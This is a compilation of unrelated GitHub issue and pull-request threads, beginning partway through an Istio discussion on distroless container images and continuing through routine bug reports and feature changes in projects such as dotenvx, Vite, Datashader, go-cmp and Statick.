    --- FAIL: TestRouteSNIViaEgressGateway/RouteSNIViaEgressGateway (19.40s)
    --- FAIL: TestRouteSNIViaEgressGateway/RouteSNIViaEgressGateway#01 (22.30s)
--- FAIL: TestGateway_HTTPIngress (30.51s)
    --- FAIL: TestGateway_HTTPIngress/HTTPIngressGateway (18.93s)
--- FAIL: TestGateway_HTTPSIngress (33.25s)
    --- FAIL: TestGateway_HTTPSIngress/HTTPSIngressGateway (21.69s)
--- FAIL: TestGateway_TCPIngress (29.69s)
    --- FAIL: TestGateway_TCPIngress/TCPIngressGateway (18.11s)
--- FAIL: TestCoreDumpGenerated (4.41s)
--- FAIL: TestRoutes (62.41s)
    --- FAIL: TestRoutes/v1alpha3 (57.40s)
--- FAIL: TestSidecarScope (86.92s)
    --- FAIL: TestSidecarScope/v1alpha3 (28.27s)
        --- FAIL: TestSidecarScope/v1alpha3/ns1:_http://bookinfo.com:9999_reachable_from_primary_cluster (8.34s)
        --- FAIL: TestSidecarScope/v1alpha3/ns2:_service.tcp.com:8888_reachable_from_primary_cluster (9.26s)
        --- FAIL: TestSidecarScope/v1alpha3/ns1:_bookinfo.com:9999_reachable_via_egress_TCP_listener_<IP_ADDRESS>:23145_from_primary_cluster (8.94s)

Therefore, we would assume that the distroless images works fine.
@costinm, @kyessenov: Which additional tests would you propose to ensure the stability of a distroless envoy?

@kramerul can you do me a solid and create a PR that builds envoy's container using distroless cc so we can see if this technique is functional in the gate?  IOW change your PR or create a new one that changes this:

to
/pilot/docker/Dockefile.proxyv2
The purpose is to determine how well Google's distroless container base works with proxyv2 in our gates.
Cheers
-steve

@phil9909 will provide a new PR

We changed all images to see if the tests are OK. Except minor issues the required tests are fine. The not required are sometimes hard to judge :(
PRs:
#12746 (scratch images)
#12741 (proxyv2)
#12788 (ubuntu based)
#12869 (proxy_init)

@c0d1ngm0nk3y - curious if you have tried out any applications such as bookinfo visually.  If so, could you post a screenshot?
Cheers
-steve

@c0d1ngm0nk3y - curious if you have tried out any applications such as bookinfo visually. If so, could you post a screenshot?

@sdake Do I sense a lack of trust in the tests? :) It didn't came to my mind so far - but I will do so tomorrow.

I placed a temporary hold on the distroless work so we can discuss goals and use-cases in the env workgroup meeting on April 4th.
Cheers
-steve

@c0d1ngm0nk3y - curious if you have tried out any applications such as bookinfo visually. If so, could you post a screenshot?

@sdake Do I sense a lack of trust in the tests? :) It didn't came to my mind so far - but I will do so tomorrow.

I do have confidence in our test cases.  Our test cases do not test GUI interaction.  We need expansion of the test cases to test bookinfo GUI interactions, but until that magical work comes, a manual test case is needed.
Cheers
-steve

Currently an outstanding request: https://github.com/istio/istio/pull/12741#issuecomment-476702247
TLDR libnettle is needed by an operator.  We should audit (via at minimum the mailing list) what else is needed for LUA filters for envoy.
Cheers
-steve

The test case for generating core dumps no longer functions with this set of PRs.  https://github.com/istio/istio/pull/12741#issuecomment-476765510
This raises the question of how one would get coredumps rom the container images in general or how they would be used.
CHeers
-steve

@utka and @istio/test-infra-hackers I think @costinm and I are in agreement - to be discussed at the April 4th Environments WG meeting on this feature for 1.2. The next question that comes from this work is how do we test and release two sets of images.
I'd invite you to the environments wg meeting so we can all get on the same page as to why this work is needed and find a path forward. The biggest impact I see is to the T&R workgroup.
Cheers
-steve

/cc @quanjielin @justinburke @wattli
Citadel agent downloads a list of public CA files for TLS connection to some CA server.
https://github.com/istio/istio/blob/master/security/docker/Dockerfile.node-agent-k8s#L3

@incfly these certificates are already part of gcr.io/distroless/static

We created a cluster and installed Istio 1.1 with the distroless images. And did some manual testing:

We installed and verified the bookinfo app.
Verified that data is displayed in Grafana.
Installed and tested tcp-echo and websockets from istio/samples
-> everything looks fine

We also ran some istioctl commands and saw that istioctl proxy-status and istioctl authn tls-check both fail because it tries to run commands in the container.

The problem with istioctl is addressed with PR #13395

@sdake should we set the Milestone 1.2 on the above pr #13395 ?

We created a new pull request #13579, which builds distroless docker images in addition.

@kramerul I very strongly want to see this feature merge in the 1.2 series.  The deadline for merge is May 21st and tests are mandatory or the work will be pushed to 1.3.
I am wrapping my head around the testing requirements given all the repo reorganization planned which put this feature at risk for 1.2 delivery.
@costinm can you provide some testing guidance?

My current plans to push this forward is as follows:
• We will modify the pr https://github.com/istio/istio/pull/13579 so that it doesn’t change the existing images (no change to istio-iptabels.sh in this PR), but only adds the new distroless images. It will omit building a distroless image for the init-container
• Then we will show that an installation based on the distroless images (and the existing init-container image) works. Add that as a test goal in post-submit for master or so.
• Increase the test coverage for the istio-iptables.sh script with a separate PR and provide the bugfixes for the various bugs we found in it.
• We will modify the pr https://github.com/istio/istio/pull/14071 so that it only builds the go executable that can do the same thing as the exisiting istio-iptables.sh, but won’t use it yet.
• Create a new pull request that creates an image for the init-container which is also distroless and uses the go binary instead of the shell script.
• Adapt the post-submit test from above to also use this distroless init-container image.

Distroless images are provided now: #14737
We are running the e2e_simple test with distroless: #14944 and https://github.com/istio/test-infra/pull/1352
We created also a distroless image for proxy_init, which uses the go binary of istio-tables.sh: #14985

After merging these pull request, @holgero 's plan should be completed.

It is now part of the normal release process. So it will be available from 1.3 onwards.
docker pull gcr.io/istio-release/pilot:master-latest-daily-distroless

Hence I will close this issue.


.gitignore modification

Works good but why is it updating the .gitignore file? I just need it to read the config. If I wanted to ignore my env files, I would do it myself. How can I turn it off?

This. It's particularly annoying since our env config isn't even in a path that starts with .env.
Reading environment variables from a file shouldn't be an operation that writes to my files.

i personally liked the convenience but you both make good points. i think i will change this and instead make it a separate command you can run

done. https://github.com/dotenvx/dotenvx/pull/45
upgrade to 0.11.0 or above (release running: https://github.com/dotenvx/dotenvx/actions/runs/7658262528)
also, can i ask, how did you each find dotenvx?

cc @radoslavkarlik @bbeesley

also, can i ask, how did you each find dotenvx?

By reading the docs for dotenv. Thanks a lot for the rapid turnaround on that, that's awesome.


Update docs to reflect updated codebase

Document new methods, variables.
Add codecov
Fix demo gif

Will finish documentation by tomorrow. Fixed demo gif today (yes, I deserving of a cookie).


Merge pull request #3 from zingo/main

Nordictrack T12si

Nice! Thanks, A "pull" button showed up in my git gui, was not there before so I think it's brand new. Using it I got this change without the need to merge this.
I'm working a bit on my app side but probably come back soon :)


Rebuild on the new protos

What changed?
This repo has been rebuilt on top of the proto annotations introduced in temporalio/api#319 and the proto changes in temporalio/api#320
Why?
How did you test it?
I rebuilt the UI on top of this and all tests pass.
Potential risks
None. This change will only impact the UI
Notes
This will not be merged until https://github.com/temporalio/api/pull/320 is in

I'm a bit confused; I was under the impression that now that https://github.com/temporalio/api/pull/320 is merged, it would automatically create a commit in this repo. I found that out last time when I tried to make a change here and added this to the README:

Note that any changes merged to api will automatically trigger a GitHub workflow that recompiles the proto files and commits the results to master.

I'm a bit confused; I was under the impression that now that temporalio/api#320 is merged, it would automatically create a commit in this repo. I found that out last time when I tried to make a change here and added this to the README:

Note that any changes merged to api will automatically trigger a GitHub workflow that recompiles the proto files and commits the results to master.

The last one was bb03061 and it updated the git submodule as expected.

It didn't seem to but it wouldn't have fixed the Makefile so a manual change is still necessary


Wasmer.sh Demo

This PR is spending more time fixing wasmer-js issues than actually implementing wasmer.sh, so I've merged it back into the wasix branch.


Remove Eden relay

Because it's broken, doesn't exist anymore, they're lying/cheating...? Otherwise LGTM

Because it doesn't exist any more.
https://x.com/titanrelayxyz/status/1829202005354807374

Ahh, OK. And I see that titan relay is not part of the mainnet list (yet)?

Yeah, Titan was still new when that list was last touched. I can certainly do a second PR to add Titan to mainnet: I think they've proven themselves.


Remove: integer literal as Bit

I stepped on an unpleasant integer literal bug while working on (#89). I may remove Bit's integer literal as a result. It could have something to do with @_disfavoredOverload, but it's an underscored attribute so I'd rather abandon it—than fight it—if it misbehaves.

Specifically, an unrelated change caused this initializer to be called in places where it doesn't belong:
extension BinaryInteger {
    @_disfavoredOverload // disfavor: 1-bit integer literal demotion
    @inline(__always) // performance: please fold it like a paper airplane
    @inlinable public init(_ bit: Bit) {
        self = Bool(bit) ?  1 : 0
    }
}

One thing to note is that an expression like T(repeating: Bit.one) is much more approachable than T(repeating: 1) since the latter could mean multiple things depending on the size of 1. Like, 1 as U8 is 0b00000001, for example. The reason it isn't ambiguous is because there exists only one initializer with that signature.

Adding I and O constants could be a cute way of preserving the terseness of literals, but I'm not yet convinced by it.


Closes: #1

Updated validations.py python script
Fixed function
Fixes #<issue_number_goes_here>

It's a good idea to open an issue first for discussion.

[x] Tests pass
[x] Appropriate changes to README are included in PR

Completed

Closed


CheckMsiOverride.ps1 - Powershell 7 Fail On Event Log Cmdlets

Fails partly on Powershell 7.2.1. Still all appears to work correctly though. Need to replace with New-WinEvent for both creation and writing it appears.
New-EventLog: C:\Users\user\OneDrive\Main\SoftwareMisc\TeamsMsiOverride\CheckMsiOverride.ps1:623
Line |
 623 |  New-EventLog -LogName Application -Source $EventLogSource -ErrorActio …
     |  ~~~~~~~~~~~~
     | The term 'New-EventLog' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a
     | path was included, verify that the path is correct and try again.

Write-EventLog: C:\Users\user\OneDrive\Main\SoftwareMisc\TeamsMsiOverride\CheckMsiOverride.ps1:814
Line |
 814 |      Write-EventLog -LogName Application -Source $EventLogSource -Cate …
     |      ~~~~~~~~~~~~~~
     | The term 'Write-EventLog' is not recognized as a name of a cmdlet, function, script file, or executable program. Check the spelling of the name, or if a
     | path was included, verify that the path is correct and try again.

There is a prerelease version which fixes this:
https://github.com/microsoft/TeamsMsiOverride/releases/tag/v1.0.2311.3001
This release is not signed as my internal infrastructure to support signing it is no longer functional.
With the move to New Teams, this script will soon no longer be needed as the install process for New Teams is very different, so there was not really much point in rebuilding the infrastructure.
This just means this pre-release version, and any others that might come later will not be signed, so you will need to set/manage you script execution policy properly.


Fix bogus column and row at edge

I applied @jbednar's changes to make the upper bound exclusive.
I also updated the test data to reflect the new upper bound semantics. In particular, the log axis tests required a seemingly magic value, x_max_index. This value results from scaling, translating, and indexing the original x range from (1, 11) to (1, sqrt(11)). To account for precision errors, I calculated the final value using the same formula used by Datashader.
Fix #259

This is ready for merging.

@jbcrail We've been seeing crashes in the notebook since this PR was merged. I did a git bisect and tracked it down to this commit:
[68d51fe6cae0dad7439ba03cda21cfef256b9f5a] Fix off-by-one error
You can reliably reproduce this error by executing this code twice in a notebook:
import pandas as pd
import datashader as ds

data = pd.read_csv('crash.csv')

data['k'] = data['k'].astype('category')

cvs = ds.Canvas(plot_width=400,
                plot_height=400,
                x_range=(data['x'].min(), data['x'].max()),
                y_range=(data['y'].min(), data['y'].max()))

cvs.line(data, 'x', 'y', ds.count_cat('k'))

You can download the crash.csv here. I suspect it's because extend_line wasn't updated in this PR.

@philippjfr I think you're right. Thanks for catching this. I'll open an issue and fix it.


Added a new property for ability to add some custom Overlay

How to use it now:
                <ImageCrop
                    ref={'cropper'}
                    image={IMAGE_PATH}
                    cropWidth={292}
                    cropHeight={202}
                    zoom={50}
                    maxZoom={80}
                    minZoom={20}
                    panToMove={true}
                    pinchToZoom={true}
                    Overlay={(
                        <MyAwesomeOverlay />
                    )}
                />

Result:

👍

@stoffern just the feature I was needed on my current project :)


ESM-only packages are not supported in vite.config.ts

Describe the bug
Importing an ESM-only package in the vite config file errors out with various ESM errors such as:
failed to load config from /home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/vite.config.ts
error when starting dev server:
Error [ERR_REQUIRE_ESM]: require() of ES Module /home/akryum/Projects/demos/vite-config-esm-issue/packages/esm-only/index.js from /home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/vite.config.ts not supported.
Instead change the require of index.js in /home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/vite.config.ts to a dynamic import() which is available in all CommonJS modules.

Or
failed to load config from /home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/vite.config.ts
error when starting dev server:
Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: No "exports" main defined in /home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/node_modules/esm-only/package.json

Reproduction
https://github.com/Akryum/vite-config-esm-issue
System Info
System:
    OS: Linux 5.17 Fedora Linux 35 (Workstation Edition)
    CPU: (24) x64 AMD Ryzen 9 3900XT 12-Core Processor
    Memory: 26.70 GB / 62.78 GB
    Container: Yes
    Shell: 5.1.8 - /bin/bash
  Binaries:
    Node: 16.14.0 - ~/.nvm/versions/node/v16.14.0/bin/node
    Yarn: 1.22.17 - ~/.nvm/versions/node/v16.14.0/bin/yarn
    npm: 8.3.1 - ~/.nvm/versions/node/v16.14.0/bin/npm
  Browsers:
    Chrome: 100.0.4896.127
    Firefox: 99.0.1
  npmPackages:
    vite: ^2.9.5 => 2.9.6

Used Package Manager
pnpm
Logs
failed to load config from /home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/vite.config.ts
error when starting dev server:
Error [ERR_REQUIRE_ESM]: require() of ES Module /home/akryum/Projects/demos/vite-config-esm-issue/packages/esm-only/index.js from /home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/vite.config.ts not supported.
Instead change the require of index.js in /home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/vite.config.ts to a dynamic import() which is available in all CommonJS modules.
    at Object.<anonymous> (/home/akryum/Projects/demos/vite-config-esm-issue/packages/vite-app/vite.config.ts:25:23)
    at Object.require.extensions.<computed> [as .ts] (/home/akryum/Projects/demos/vite-config-esm-issue/node_modules/.pnpm/vite@2.9.6/node_modules/vite/dist/node/chunks/dep-3397b401.js:61770:20)
    at loadConfigFromBundledFile (/home/akryum/Projects/demos/vite-config-esm-issue/node_modules/.pnpm/vite@2.9.6/node_modules/vite/dist/node/chunks/dep-3397b401.js:61778:17)
    at loadConfigFromFile (/home/akryum/Projects/demos/vite-config-esm-issue/node_modules/.pnpm/vite@2.9.6/node_modules/vite/dist/node/chunks/dep-3397b401.js:61697:32)
    at async resolveConfig (/home/akryum/Projects/demos/vite-config-esm-issue/node_modules/.pnpm/vite@2.9.6/node_modules/vite/dist/node/chunks/dep-3397b401.js:61224:28)
    at async createServer (/home/akryum/Projects/demos/vite-config-esm-issue/node_modules/.pnpm/vite@2.9.6/node_modules/vite/dist/node/chunks/dep-3397b401.js:59636:20)
    at async CAC.<anonymous> (/home/akryum/Projects/demos/vite-config-esm-issue/node_modules/.pnpm/vite@2.9.6/node_modules/vite/dist/node/cli.js:688:24)

Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to https://github.com/vuejs/core instead.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

Closing as it is a duplicate of #6623


Split viz-requests into smaller parts

Current requests are processed from start till end in one go and cause the known waiting times for users. In order to enhance the user experience we could split a request in:

Get data from PLOS
Once the data is retrieved from PLOS the list containing the papers can already be displayed.

Calculate the map ...
... while the user explores the papers as a list.

One of the problems with this behaviour would be that the list interacts with the visualization. So when people start to explore the list, then we need to decide what we want to do once the visualization is loaded. Do we (a) put the visualization in the state of the list, or (b) do we reset the list. From my point of view, both behaviours would most likely break the user experience to some extent. I am not saying that it is impossible to do, but we also need to be sure that it is worth the time that we gain by invoking such a behaviour.

That's true... Resetting the list/starting the viz in a certain state both seem like half-baken solutions.
Anoter (also far from perfect) approach could be to minimize interaction in the beginning and restrict interactions to viewing items.
Maybe we could try to use a visual indicator when the list is finally interactive and explorable. (small pop-up message; small loading icon; greyed out and then in color)


SDList Memory Usage is extremely High at build

Describe the Issue
Memory Usage shows at 90+ % at build on an Arduino Uno.
Library Name and Version:
Name: SDList
Version: 1.0.1
Environment:

Platform/OS: [e.g., Windows, macOS, Linux] NA
Arduino IDE version (if applicable): NA
PlatformIO version (if applicable): NA
Development board (if applicable): Arduino Uno, Simulated Arduino Uno.

Library Source:

[x] GitHub
[ ] PlatformIO Registry

Expected Behavior
This library is meant to reduce memory usage, not increase it.
Actual Behavior
Memory Usage is about 90-96% at build with the library declared, and a few append() function calls and a few get() calls.

Memory Usage being high only seems to be a problem on more memory constrained devices such as the Arduino Uno. When compiling for the Mega, Memory usage is around 1-2% usage. On the Uno, the Current Github version of the code will build at 110% of the memory. Working on trying to fix that but it may not be possible. We will see.

This issue has been patched in the latest version. Current Memory Specs for Arduino uno is around 42.6% Ram usage, and 49.6% Flash Usage.
On the Arduino Mega the specs are around 10.7% Ram, and 6.6% Flash. This is a huge upgrade for the uno specs.


Add Donation Button to Website Front Page

Hello 👋 @zoobot, do I get a URL that links the button from the website to Open Collective on our Open Collective dashboard? Or is there another way to handle this?  I'll take a look at Open Collective first

You may be able to add it in the same way the adopt button is added in that Control Portal.
https://github.com/waterthetrees/wtt_front/blob/main/client/src/pages/Map/Map.js#L285

Hi @Tijani-zainab :)
I think it can be just like this:

https://docs.opencollective.com/help/collectives/widgets Not sure if we can have a custom button with just the word Donate on it...

Thank you @zoobot, this was helpful!
Also, I used conventional CSS to style the component, but I realized that there is currently a pause on the styling method for the codebase.

I added you as a reviewer! In case you need me to make any changes or if you have a preferred method, please let me know.
@zoobot


[TF-TRT] Fix TRTEngineOP Inference Shape

@bixia1 for review
CC: @tfeher
This PR addresses that TRTEngineOP do not mention any output shape in the Graphdef, which limit graphdef analysis, and can block large scale deployment with framework like TRITON Inference Server.
Fix : #52934

@bixia1 all comments have been addressed

I got this error when trying to merge it:
WARN: Cannot migrate http://github.com/tensorflow/tensorflow/pull/53327 because it is missing the following labels: [cla: yes]


Removed the match/certs step in the makefile + a readme update

As the title says.
Readme contains some info I found useful getting setup.
@sarahscott @orta

Test comment for slack bot

Let's try another test comment...

  | 1 Error
------------- | ------------
    :no_entry_sign: | No CHANGELOG changes made

  Generated by :no_entry_sign: danger

Testing

The issue with danger is known, https://github.com/KrauseFx/danger/issues/45


".0" automatically added when entering weight

If I type 1 then the input actually becomes 1.0, and if I wanted to type 15, I first have to delete the .0

 Raise new issues resulting from using/testing the apps


Make output files optional

Statick currently requires an output directory, where issues found will be written to a file. There are alternative reporting mechanisms, but this one is required. I would like to make the output directory an argument that is not required. If no output directory is specified via arguments, then the write file reporting plugin will not attempt to write results to a file. We will also disable any checks to see if the output directory exists.
This will be a breaking change. If the output directory is desired, then the invocation of Statick will need to change from:
statick my-project statick-output

to
statick my-project --output-directory statick-output

However, the following command will be valid and will provide feedback to the user. It will also return success or failure as an exit code the same as now.
statick my-project

Any issues found will still be printed to screen, and no other reporting plugins will be modified.

Done in #173.


Modular Model support for Monaco

Description

References

Review Checklist

[ ] I have clicked on "allow edits by maintainers".
[ ] I have added documentation for new/changed functionality in this PR or in a PR to openfga.dev [Provide a link to any relevant PRs in the references section above]
[ ] The correct base branch is being used, if not main
[ ] I have added tests to validate that the change in functionality is working as expected

Diff of the test names in frontend-utils and language
tests.txt

Can you remove this: https://github.com/openfga/frontend-utils/blob/main/src/theme/index.ts#L10? Should fix the circular dependency issues


GrainContext unavailable in constructor

When CreateGrainInstance is invoked here, the grain context is not available via ambient context like it is inside the Orleans Framework.
There are scenarios where you want to do something simple in the constructor to convey better intent (such as deconstructing the GrainId into a readonly field) that would be preferred over OnActivateAsync
This would require a change from Orleans to publicize a mechanism to make the RuntimeContext more testable.

#135 will address this -- setting the RuntimeContext via reflection instead of setting backing fields afterwards


Add cmpopts.EquateComparable

This helper function makes it easier to specify that comparable types are safe to directly compare with the == operator in Go.
The API does not use generics as it follows existing options like cmp.AllowUnexported, cmpopts.IgnoreUnexported, or cmpopts.IgnoreTypes.
While generics provides type safety, the user experience is not as nice. Our current API allows multiple types to be specified:
cmpopts.EquateComparable(netip.Addr{}, netip.Prefix{})

While generics would not allow variadic arguments:
cmpopts.EquateComparable[netip.Addr]()
cmpopts.EquateComparable[netip.Prefix]()

Bump mininimum supported Go to 1.18 for net/netip type. Start testing on Go 1.21.
Fixes #339

Upgrading to Go 1.18 is not strictly necessary, if we're not ready to do that yet, I can adjust the tests accordingly.
It's still worthwhile to upgrade as that would unblock some other cleanups.


[MXNET-1325] Make InferShapeAttr a standalone pass

Description
Given the fact that there is going on work tweaking InferShape a lot, we have to separate the InferShapeAttr pass out.
This is part of effort to make dynamic shape executors.
Checklist
Essentials
Please feel free to remove inapplicable items for your PR.

[x] The PR title starts with [MXNET-$JIRA_ID], where $JIRA_ID refers to the relevant JIRA issue created (except PRs with tiny changes)
[x] Changes are complete (i.e. I finished coding on this PR)
[x] All changes have test coverage:
Unit tests are added for small changes to verify correctness (e.g. adding a new operator)
Nightly tests are added for complicated/long-running ones (e.g. changing distributed kvstore)
Build tests will be added for build configuration changes (e.g. adding a new build option with NCCL)
[x] Code is well-documented:
For user-facing API changes, API doc string has been updated.
For new C++ functions in header files, their functionalities and arguments are documented.
For new examples, README.md is added to explain the what the example does, the source of the dataset, expected performance on test set and reference to the original paper if applicable
Check the API doc at http://mxnet-ci-doc.s3-accelerate.dualstack.amazonaws.com/PR-$PR_ID/$BUILD_ID/index.html
[x] To the my best knowledge, examples are either not affected by this change, or have been fixed to be compatible with this change

Changes

[x] Add InferShapeAttr pass.

@szha @zheng-da Could you help review? Thanks a lot!

@mxnet-label-bot add[Backend, pr-awaiting-review]


helm chart for kepler-operator

@jiangphcn during last week's weekly call there is suggestion to create helm chart for kepler-operator
not sure what need to be done here, open this issue to track

ok, found info here
https://github.com/sustainable-computing-io/kepler-helm-chart/issues/53#issuecomment-1823916609
@sthaha FYI


CLOUDP-67930: iam organizations|orgs apiKey(s)|apikey(s) whitelist|ipwhitelist list|ls

Proposed changes

Jira ticket: CLOUDP-67930

Closes #[issue number]
Checklist

[x] I have signed the MongoDB CLA
[x] I have added tests that prove my fix is effective or that my feature works
[x] I have added any necessary documentation (if appropriate)
[x] I have run make fmt and formatted my code

Further comments

./bin/mongocli iam org apikeys whitelist list 5f24084d8dbffa3ad3f25b73 -o ""
IP ADDRESS	CIDR BLOCK		CREATED AT
<IP_ADDRESS>	<IP_ADDRESS>/32	2020-07-31T12:02:28Z
<IP_ADDRESS>	<IP_ADDRESS>/32	2020-07-31T12:02:34Z
<IP_ADDRESS>	<IP_ADDRESS>/32	2020-07-31T12:02:40Z

./bin/mongocli iam org apikeys whitelist list 5f24084d8dbffa3ad3f25b73
{
  "results": [
    {
      "cidrBlock": "<IP_ADDRESS>/32",
      "created": "2020-07-31T12:02:28Z",
      "ipAddress": "<IP_ADDRESS>",
      "links": [
        {
          "rel": "self",
          "href": "https://cloud-dev.mongodb.com/api/atlas/v1.0/orgs/5e429e7706822c6eac4d5970/apiKeys/5f24084d8dbffa3ad3f25b73/whitelist/<IP_ADDRESS>"
        }
      ]
    },
    {
      "cidrBlock": "<IP_ADDRESS>/32",
      "created": "2020-07-31T12:02:34Z",
      "ipAddress": "<IP_ADDRESS>",
      "links": [
        {
          "rel": "self",
          "href": "https://cloud-dev.mongodb.com/api/atlas/v1.0/orgs/5e429e7706822c6eac4d5970/apiKeys/5f24084d8dbffa3ad3f25b73/whitelist/<IP_ADDRESS>"
        }
      ]
    },
    {
      "cidrBlock": "<IP_ADDRESS>/32",
      "created": "2020-07-31T12:02:40Z",
      "ipAddress": "<IP_ADDRESS>",
      "links": [
        {
          "rel": "self",
          "href": "https://cloud-dev.mongodb.com/api/atlas/v1.0/orgs/5e429e7706822c6eac4d5970/apiKeys/5f24084d8dbffa3ad3f25b73/whitelist/<IP_ADDRESS>"
        }
      ]
    }
  ],
  "links": [
    {
      "rel": "self",
      "href": "https://cloud-dev.mongodb.com/api/atlas/v1.0/orgs/5e429e7706822c6eac4d5970/apiKeys/5f24084d8dbffa3ad3f25b73/whitelist?pageNum=1\u0026itemsPerPage=100"
    }
  ],
  "totalCount": 3
}

Waiting for #317


feat: improve Deployments

use Secret instead of configMap
allow existing Secret (from vault)
allow Deployment Strategy
use emptyDir for caching sill-datas (useful for random user write rights)

Wow!
Amasing thanks a lot!


Include optional configuration options

Disable built in google DNS
Enable custom client MTU
Enable NAT without default route

@omriiluz thanks! Have a pat-on-the-back @changetip

Hi @omriiluz, @kylemanna sent you a Bitcoin tip worth a pat-on-the-back (2,540 bits/$0.50), and I'm here to deliver it ➔ collect your tip.
Learn more about ChangeTip


Add genx

Add my genx gentx-619d4079cd291c56dd0da4a5aa9546e2b6f54779.json

Too late for this testnet, but please submit for the next one! Thanks.


Fixes double call to view_will_appear

Tests? :)

yeah I got lazy since I was removing something and depending on PM base - I'll see what i can whip up as far as testing it @markrickert

now with tests @markrickert !

:+1:

dont try to skip tests with the rickert around :)

dont try to skip tests with the rickert around :)

He keeps us honest. haha

heh, well if you look at my contributions to RMQ you'll see I am a pretty big stickler for testing too - I just didnt even think to test something I was removing, but glad it came up.  I started another branch to restructure the tests a bit (kind of like how Promotion has test screens instead of defining them in the spec) and make sure the files match up (stuff we moved to ext making sure tests are in matching spec files etc) - going to PR that sometime after this is merged :+1:

hah, it's all in good jest squid!  Tests everywhere :) !
O btw, if anyone thinks of a good way to mix benchmarking with tests, let me know.  I think it would be good to have tests fail if someone makes a change that significantly slows down a core function.
Ideas abound!

I think it's a good time to mention that @Watson1978's https://github.com/Watson1978/motion-benchmark-ips is an excellent benchmarking tool for RubyMotion.

agreed!  I've used it often.  Ideas on how to integrate that into tests?

Maybe Watson could help us. :)

I just integrated this branch into my current project and I'm seeing the problem is fixed!

great to hear @markrickert  !

ok sounds like this fixes the issue I'm pulling a @GantMan and merging this myself :laughing:

hahahahaha.   Sometimes you gotta just hit merge brotha!


flows module not found

After install, I get the error:
Uncaught Error: Could not find module `my-app/flows` imported from `my-app/initializers/pop-over`

I'm assuming this is because the paths in ember-pop-over/app/* are now relative to my-app, and therefore the pop-over initializer cannot import ember-pop-over/addon/system/flow.js.

Nm this gets installed with ember g ember-pop-over


🔧 Update pyproject.toml File and Configuration

Description:
This Django package currently lacks a pyproject.toml file config, which is becoming increasingly important for modern Python packaging and dependency management. The absence of this file means we're missing out on several benefits, including:

Standardized Project Metadata: pyproject.toml allows us to define project metadata in a standardized format, which can improve compatibility with various tools and packaging systems.

Build System Specification: Without pyproject.toml, we cannot specify build system requirements, which can cause issues with building or installing the package using modern tools.

Tool Configuration: Many tools, such as poetry, rely on pyproject.toml for their configuration. This omission could lead to inconsistent development practices and lower code quality.

Dependency Management: pyproject.toml supports specifying build dependencies and project requirements in a unified way, reducing complexity and improving reproducibility.

Action Items:

Create a pyproject.toml file at the root of the project directory.
Configure poetry within the pyproject.toml to handle dependencies and project settings.
Update documentation to reflect the new configuration file and any changes in development practices.

This update will streamline our development process, improve tooling compatibility, and align with modern Python packaging standards.

Thanks for raising (🤖?), but no plans to extend the existing pyproject.toml.


Moved unit tests to src/

Rust places unit tests in the src/ folder using mod tests { ... } with #[cfg(test)] and integration tests in tests/. This moves all tests to src/.

Ironically, our lack of Cargo.lock file has broken the build due to the release of syn version 1.0.66. Will see if syn addresses this in next ~24 hours. Regardless, upon reflection we do need a Cargo.lock file since we are generating an artifact from the library.


fix(quickAdd): open detail page on "Add and Open"

[ ] What does this PR do? [Mandatory]
Clicking on "Add and Open" :

Adds the WorkItem
Open the detail page

[ ] What issue/task does this PR references? [Mandatory]

https://github.com/openshiftio/openshift.io/issues/2995
[ ] Are the tests Included? [Mandatory]

Yes, here
[ ] Is the documentation Included?

[ ] Are the Release Notes included?

[ ] Is/Are the @mention(s) to reviewer(s) included

@sahil143 Your image is available in the registry. Run docker pull registry.devshift.net/fabric8-ui/fabric8-planner:SNAPSHOT-PR-2579 && docker run -it -p 5000:8080 registry.devshift.net/fabric8-ui/fabric8-planner:SNAPSHOT-PR-2579 and visit http://localhost:5000 to access it.

@sahil143 fabric8/fabric8-ui:SNAPSHOT-PR-2579-2 is deployed and available for testing at https://fabric8-ui-fabric8-ui-pr-2579-fabric8-planner.badger.fabric8.io

@sahil143 Your image is available in the registry. Run docker pull registry.devshift.net/fabric8-ui/fabric8-planner:SNAPSHOT-PR-2579 && docker run -it -p 5000:8080 registry.devshift.net/fabric8-ui/fabric8-planner:SNAPSHOT-PR-2579 and visit http://localhost:5000 to access it.

@sahil143 fabric8/fabric8-ui:SNAPSHOT-PR-2579-3 is deployed and available for testing at https://fabric8-ui-fabric8-ui-pr-2579-fabric8-planner.badger.fabric8.io

[test]

[test]

@sahil143 Your image is available in the registry. Run docker pull registry.devshift.net/fabric8-ui/fabric8-planner:SNAPSHOT-PR-2579 && docker run -it -p 5000:8080 registry.devshift.net/fabric8-ui/fabric8-planner:SNAPSHOT-PR-2579 and visit http://localhost:5000 to access it.


ng-sortable and promises?

I cannot seem to get ng-sortable to work when I have a data source requesting data from an async server request. When the server returns the data, the object on the controller is populated with the data, but ngmodelcontroller and $modelValue in the ng-sortable directive do not update to reflect the updated contents of the view. Below is my code. Is there something I am missing to make the directive responsive to promise updates in the ng-model? Thank you for your help.

		{{item[options.labelProperty]}}

.controller('IssueController', function($scope, dataSvc) {
$scope.options: {
list: dataSvc.dataStore.issues,
listItem: "issue",
labelProperty: "issue",
sortableOptions:	{
accept: function (sourceItemHandleScope, destSortableScope) {return true;},
containment: '#sortable-list-container'
}
}
}];
});

Closed: The issues was a collision with "options"
Recommend not using "options" to name an object in any ancestor directives.

Also recommend namespacing the options object in ng-sortable to avoid future collisions


Drag File/Folder To A Previous Directory In Path To Move

Is your feature request related to a problem? Please describe.
Cannot move a file/folder to a previous directory within the current path.
Describe the solution you'd like
Example of windows file explorer:

Current result of Files UWP:

Describe alternatives you've considered
...
Additional context
...

This has been implemented with #1507.


EID-to-RLOC cache errors do not seem to be corrected.

